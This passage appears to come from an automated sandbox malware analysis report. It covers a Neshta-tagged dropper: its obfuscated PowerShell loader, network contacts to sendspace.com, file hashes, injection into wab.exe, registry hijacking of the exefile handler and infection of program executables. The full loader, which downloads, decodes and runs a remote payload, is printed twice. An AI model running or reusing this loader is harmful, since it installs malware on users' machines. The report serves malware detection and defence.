SamsaExcretmandahInd,s Ubeti$DewfaDWarbluAfmytsForeltBarrip AngioC.loriFoaminResult Deej)Truss ');while (!$Paramyoclonus) {Udkrte (Circuted 'Steth$ F emgst ndl ValeoGra,sb Se.iaMemorl phea:OpirrH GashoTach.vS.rteeSvierd FounsH emma Fedel Intea Hks.tReguleFod,orSt.lt=lania$ Ageit MegerScyphu .ilbeTrout ') ;Udkrte $Amenable;Udkrte (Circuted ' PorpSRandotLimo,aZunisrB.nkrtMun.k-GypteST.anqlP efoeBactee Forhpmarku Culte4Oktan ');Udkrte (Circuted 'Adiab$ .anggSphe l soljo L.ncbWistiaSpinelS,mis:Bath PUac ea Ti srMiddaa.lassmLine,yHyperoDemobcSau,olForbroVrgelnG.dlsugenansStill=For.m(DuritT Te,neDemarsSelectLege.-AnlgsPRinjiaTraittLandih S lf A,ipo$ColliDPaxamufinansR,sentMust,p Rituo OlieiGaussnTyp gtAnthr)Alkoh ') ;Udkrte (Circuted 'Jubel$CubbygUdflelSmirkoSc,osbVocifaAsexul ,roc:Sa gsN .gndoTrternFinlasHi,lgeOpmrkvTroileSc.nsrsan,ei AccetCo.yni InsueUtjspsSocia=Edema$ BrysgHydr l S,ikoBeamab Pogoade,telSabat: VaabDBill,y,ekstr vabe Fi.drParaliPr,pogRodese LnfosNarci+ Bara+ Pric%.syls$H,droPDalmaaIdrtsrMisw,asr.espcom,yoKlejnd uldb.osteicDentaoReng.u St un Opgrt esk ') ;$Skraaremmens=$Parapod[$Nonseverities];}$Genindkalder112=320122;$Uncharge=28893;Udkrte (Circuted ' issp$Pos.kg.affel,obotoCerclb.edfra AnsglSemiy:L.jrsFT.steu RifalArbejdinde,eP,ckpnSpaltdNon,eeKuldkn Kl pdForbre Angr t kst=Echin HoundGPr,toe .alutBrneh-,ekreC downoaerugn Beg t MulleLedevn.ndeftOutdr Bi tr$ oreiD.andsumineasRe.artGardipAfstroCymogi DolenImdegtGangl ');Udkrte (Circuted 'H.ppe$depotgPolyplServooretspbChi,eaSuperlPre,c:NulstF DagliAftenrP,oteeProseoPostpgchrist O,eryOutg vPo,nse adinsTekst Pinda=B vaa Virke[Rya,bSOutp,yVegecsSwee tWe.daeOpaq m ,tom.MakinC Ec,ao RelenHalv vKar.oePtil.r WashtIndfr]Speck:Vedta: AflyFSsterrGg.ero Un,imBirtiBCarolaCombrsbldgreSc,og6Tempo4HjernSAdrestSt.phrGevini,uditnplantgBurge(nonpe$ Enr FreglouK.akslPro ldSto.ae.ullanWitnedarbejeKludenCrossdRetsbeUnder)Rose, ');Udkrte (Circuted 'Solip$SharpgMo,snlS.ottoBrutabBaggraSpa el Futi: utstEGrosgl IndfaKettipan.elhBr etuPetalrSnailu jurisEn,la1 Delb5 Te,h .ncon=Viges Aktio[ GnidS Gal,yC tassEm,nctTenoneSynecm syba..ebatTB,rdfes,nsfxGr.cetEurot.RhumbEGldsbnScarrcOver,oBesondtaxpaiUd,honTraadgSides] Vand:Sikah:AllopARee.pSRovetC ScioISorteITllel..bensGOnst.eDavietSwagbSBurr,t RegnrArmodirubrinFormegMaan.(Confi$NonetFTiltaiU taprTrinneAgroso Urvrg Kodet FrpeyBarnyv Lo,geEr.essArres)S rpe ');Udkrte (Circuted 'Fusen$Nanocg lectl.rlovoSt.llb.ivasaByplalDisha: BobbEEksekk SadlsoverwiBeshrlInv,clUrrl,eEndaddNatioe Pr,er Stil2,anta3Inbur0Tress=Udfrd$HundrEPiratlFokusa SpecpSlvfahTilkauTriasr HarpuAttessNiflh1Godfr5P.ilo.ChaetsUneffuBushwbSu,ersstegatSloverDyrekiSkruenRekomgSorti(Vindh$ BortGunruseNomadnReadmiUnme nPlatid S.amkBordea.spirlSer edKnytte Stilr Stil1Mammi1Valgm2 Blep, N.dd$ AnalUMammanPudiac sarch Fo.saAbiosr RetsgT.uemeWaist)Lung. ');Udkrte $Eksilleder230;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klavers.Uen && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.sendspace.com udp
US 104.21.28.80:443 www.sendspace.com tcp
US 8.8.8.8:53 fs03n2.sendspace.com udp
CA 69.31.136.17:443 fs03n2.sendspace.com tcp
US 8.8.8.8:53 crt.sectigo.com udp
US 104.18.38.233:80 crt.sectigo.com tcp
US 104.21.28.80:443 www.sendspace.com tcp
US 8.8.8.8:53 fs13n5.sendspace.com udp
CA 69.31.136.57:443 fs13n5.sendspace.com tcp

Files

memory/2868-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

memory/2868-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

memory/2868-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

memory/2868-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2868-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2868-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2868-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2868-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab236A.tmp

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar237D.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KTL3ME4X24W9WYWLDBDU.temp

MD5 5db598eedc81c4381bfcb31d483e3a3a
SHA1 4aa6e0ec520dc5cd6c591651105aa5e018e3a948
SHA256 c33bcd742abe2e1635d13a4dfe34eb854a70e999340aace44bfecb11b3b1bc81
SHA512 84054069450c36c9b79846577782eef37ef356dcabc194bfb1e78b0c7798ad2752c778ed3ffc1973d1bdd1bbd098a5bea00a30303c44ee9ee3c69f47b26b56f9

C:\Users\Admin\AppData\Roaming\Klavers.Uen

MD5 595a09748ec54d46958b4fc48e232e43
SHA1 a1c64c8815eda873408f9e6d51519f46ccd9b6b0
SHA256 c5179f092dcc764d1869e5fdb1a667032c0ef1a6c9de4b7d1ad30126b2c47a65
SHA512 83da041c266fb9286a2226a04740310e3cafadcca968b4dfac1494db111ac3f54580763af6e4c1a128cbb4363197dd85d26895c1dddb4bdb46daac151fc5038f

memory/2488-55-0x00000000066A0000-0x0000000008B6E000-memory.dmp

memory/2868-56-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2868-57-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 0b0c65e17189c07eb1e7abe4fcda6a9b
SHA1 e698122c74081b171ac47466443710e650789f92
SHA256 efb61bb0fa4c1de35b8040c1bdfba28545f58148fa2515e6ae26cb037d3dcce6
SHA512 e2e144f8fdde14a4ad884561e8cea8ce90d940e22e4285deb6df2c10ba1ab1ea2d31914e63ce1a53dc9da5808c34c5808e541daa49377a11b274b20b89a5ba37

memory/2648-84-0x00000000004B0000-0x0000000001512000-memory.dmp

memory/2868-88-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe

MD5 fa9e52ffa7ca60c38d490abd96cb3952
SHA1 b8ef0fafe68035128978f0383fab3863301aa62e
SHA256 d416c89d8a396915106fb2462430d90bbe1be05c444098bfc671bb3d12089d96
SHA512 26d959e451ee66a26ead7b7971b3993c3f6882abd912ba5a641215cb90f18bbb7ac94e7ae3008bbf2c1c497e6989b8a607b63967b6dd3aa1ef4a5a953342d1ce

\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE

MD5 9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1 ec66cda99f44b62470c6930e5afda061579cde35
SHA256 8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA512 2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

memory/2648-167-0x00000000004B0000-0x0000000001512000-memory.dmp

memory/2648-168-0x00000000004B0000-0x0000000001512000-memory.dmp

memory/2648-170-0x00000000004B0000-0x0000000001512000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-23 16:41

Reported

2024-05-23 16:44

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kam.cmd"

Signatures

Neshta

persistence spyware neshta

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies system executable filetype association

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4180 set thread context of 444 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\wmpshare.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~3.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~4.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI8A19~1\ImagingDevices.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~2.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~2\wabmig.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\DISABL~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\INTERN~1\ielowutil.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\MicrosoftEdgeUpdate.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\wmpconfig.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\INTERN~1\ExtExport.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\Download\{F3C4F~1\13187~1.37\MICROS~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MOZILL~1\UNINST~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\INTERN~1\iexplore.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MIA062~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\wmprph.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\wmplayer.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI391D~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI9C33~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~4\wmlaunch.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\svchost.com C:\Program Files (x86)\windows mail\wab.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2628 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2628 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2800 wrote to memory of 4992 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2800 wrote to memory of 4992 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2800 wrote to memory of 4180 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2800 wrote to memory of 4180 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2800 wrote to memory of 4180 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 4180 wrote to memory of 2236 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4180 wrote to memory of 2236 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4180 wrote to memory of 2236 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4180 wrote to memory of 444 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 4180 wrote to memory of 444 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 4180 wrote to memory of 444 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 4180 wrote to memory of 444 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 4180 wrote to memory of 444 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kam.cmd"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Sanguinarily='Sub';$Sanguinarily+='strin';$Colour = 1;$Sanguinarily+='g';Function Circuted($Kropsvisiteret26){$Blazer=$Kropsvisiteret26.Length-$Colour;For($Tvrfljte=5;$Tvrfljte -lt $Blazer;$Tvrfljte+=6){$Intraperitoneally+=$Kropsvisiteret26.$Sanguinarily.Invoke( $Tvrfljte, $Colour);}$Intraperitoneally;}function Udkrte($Udmatningens){ . ($Polarizer) ($Udmatningens);}$Ontological=Circuted 'AlenlMGynobo AnimzCopiei Dekll UnbrlKaramaD,esk/ Abso5 edrr.C.apt0Clemp Notc(Dru,nWunifoiNailenPr.madCo.seoUnbuiwSheepsfrste MetalNUnderTL ndq Prede1Scrip0Postt.Penty0 dra.;Gidsl Spnd,WP ddii.rembnBa ng6 ,ram4B roc;Rkebi RaasxTermt6 D.ej4 Kn.r;Ringt LassorDiscjvCa.bi:archt1Bicen2Aftgt1O,tol. Sile0Sulfo)Diver Prof.G,fglaePen,acFalk,k Fi,hoNethi/Admir2Encin0Griff1 Tram0Cytis0M,tro1lufti0Kben 1Mech, ForblFDr.gaigkantrD,mmee Forrf gelsoSlag,x Sia./Lande1 Un i2Denot1Baand. E eb0 Sost ';$Pullouts=Circuted ' Eva,U,epousLu tleNonderMange- MellACamorgbkarveTo.fun UnpotZeppe ';$Skraaremmens=Circuted 'Gim ehLusketSidettSamlepcalcas Bo.i: Circ/Lseti/TruthwbackfwRegiswUbesl. karisDec neineq nCo kadBerylsRiotep lichaadaptcJenh,eGlott.BademcA osto .aktmD.ght/HydropDecimrH,spioDamas/Homeod.aretlXerot/ DesiiVi li4Gjord1 FreeaLupan7 alvf6 Loes ';$Spisestel=Circuted 'Bolte>Cubin ';$Polarizer=Circuted 'S irriFlykkeRa,idxKonst ';$Spiegeleisen='Decephalize';$Thermoremanent12 = Circuted ' Hecte Frejc,vigehPrem,oUdtry Udska%Klemea FolkpNogggpAgnindgvenda.odsetRegloaarchi%Krimi\uv.asKunivelNonada mishv PalbeTal,yrOmop sGassl.B,dstUAposteDyppen Eino .verl& Sprj&Te,no Scane Kongc ModehPollaojejun Varu tWindi ';Udkrte (Circuted 'Nonsy$IndisgFeriel,anneoUgerabOutlaaAnti l,rist:WillyNMytolo,rocenun ersStilitBraktuUnsh d FascySurli=Kdest(BeforcProtom OverdVolde Flers/Unde.cDisin Whabb$ G,amTHjemmh araleScarvrSe uemUsnoboKardirRoeddePeri,mHenhraI,difnLurefegerman .omet ,lle1Over 2Sub.e) ,und ');Udkrte (Circuted 'averr$Luf,egFaerdlTaphvoBru.sbArchpa Flytl Diss:TurnePTautoaResigrGorinaSel.kpNonaroNrmeldRev,l=Co.on$AkkusSSuperk C enrActedaOplseaAf,kir ilmeDi tam gattm T.leeLrlinnSk,bssPopul. fyris U depsnedkl.alkiiAutontSofav( Baro$EnklaSHygroppiqueiheav,sMeteoeOpbudsHals tBie.dekamm.lDydsk).orsv ');$Skraaremmens=$Parapod[0];$Kriminalromans= (Circuted 'Orgel$Zonopgun,erlUdstoobrdskbBostra V,sslUnbal:PositAAabnin.airbdVect,eUmedgfPagi.aP ohidVandleFlagsrArgene CactnRhota=CykelNEppieeDalr wNitzh-UdradO SletbPaaklj,oacceRabarcSlumptSmurr DiplaSUncolyPil.rsCattatB.sageEjendmF rda. SvigNSprngeBeslutZapti. Co,dWHusbaegan,tbHypocCTopollOestriThumbe Bi on Skldt');$Kriminalromans+=$Nonstudy[1];Udkrte ($Kriminalromans);Udkrte (Circuted 'Fiksp$U,derAOmstinHampsdhyposeI iqufOlo,ea Rectd,rinteStudirUndsae.zarinAlphi. UtilHSaccaeHesseaDiaspd SbireFilmar PttssSemec[Tknin$ VirkP,pdrauBestilEmbralExpeloskraluOpsamtGamblsCorru] Mill=gente$ComorO MidtnUfordtspecio Ef el C lio Fodgg.valmi Uns.cIstanaKaravlSlag. ');$Amenable=Circuted ' Unio$ Fa.rASkr,lnRetoudPottieKassefInstia IndudNap.deC,olurOverfeUncomnFlomm.ProduDRejseoSpanlw,lgtsnUdkoml T.nko ,luka HenvdSysteFSkrmdi.ortel IllaeParak(Mis,i$B gstSkilomkTricorNon haSkovraDuod.rB ntweJussim.eordmComp eGigannPh,nes Prog,Un,na$ a byDUncapu Sanks onstAfskapHrg.roTra,diHastin EpiztRefec)Adroi ';$Dustpoint=$Nonstudy[0];Udkrte (Circuted 'S.efn$UdsttgBeskyl elloAnginbStyreaRespelNonco:ScintPKomitaK bler,ontra Tricm S akySikahoPa,igcExplalNonfeo Thern.laddu BlomsRa.ad=dand.(,mbelTSt.inef,rdjs InfitGummi-CheckP SamsaExcretmandahInd,s Ubeti$DewfaDWarbluAfmytsForeltBarrip AngioC.loriFoaminResult Deej)Truss ');while (!$Paramyoclonus) {Udkrte (Circuted 'Steth$ F emgst ndl ValeoGra,sb Se.iaMemorl phea:OpirrH GashoTach.vS.rteeSvierd FounsH emma Fedel Intea Hks.tReguleFod,orSt.lt=lania$ Ageit MegerScyphu .ilbeTrout ') ;Udkrte $Amenable;Udkrte (Circuted ' PorpSRandotLimo,aZunisrB.nkrtMun.k-GypteST.anqlP efoeBactee Forhpmarku Culte4Oktan ');Udkrte (Circuted 'Adiab$ .anggSphe l soljo L.ncbWistiaSpinelS,mis:Bath PUac ea Ti srMiddaa.lassmLine,yHyperoDemobcSau,olForbroVrgelnG.dlsugenansStill=For.m(DuritT Te,neDemarsSelectLege.-AnlgsPRinjiaTraittLandih S lf A,ipo$ColliDPaxamufinansR,sentMust,p Rituo OlieiGaussnTyp gtAnthr)Alkoh ') ;Udkrte (Circuted 'Jubel$CubbygUdflelSmirkoSc,osbVocifaAsexul ,roc:Sa gsN .gndoTrternFinlasHi,lgeOpmrkvTroileSc.nsrsan,ei AccetCo.yni InsueUtjspsSocia=Edema$ BrysgHydr l S,ikoBeamab Pogoade,telSabat: VaabDBill,y,ekstr vabe Fi.drParaliPr,pogRodese LnfosNarci+ Bara+ Pric%.syls$H,droPDalmaaIdrtsrMisw,asr.espcom,yoKlejnd uldb.osteicDentaoReng.u St un Opgrt esk ') 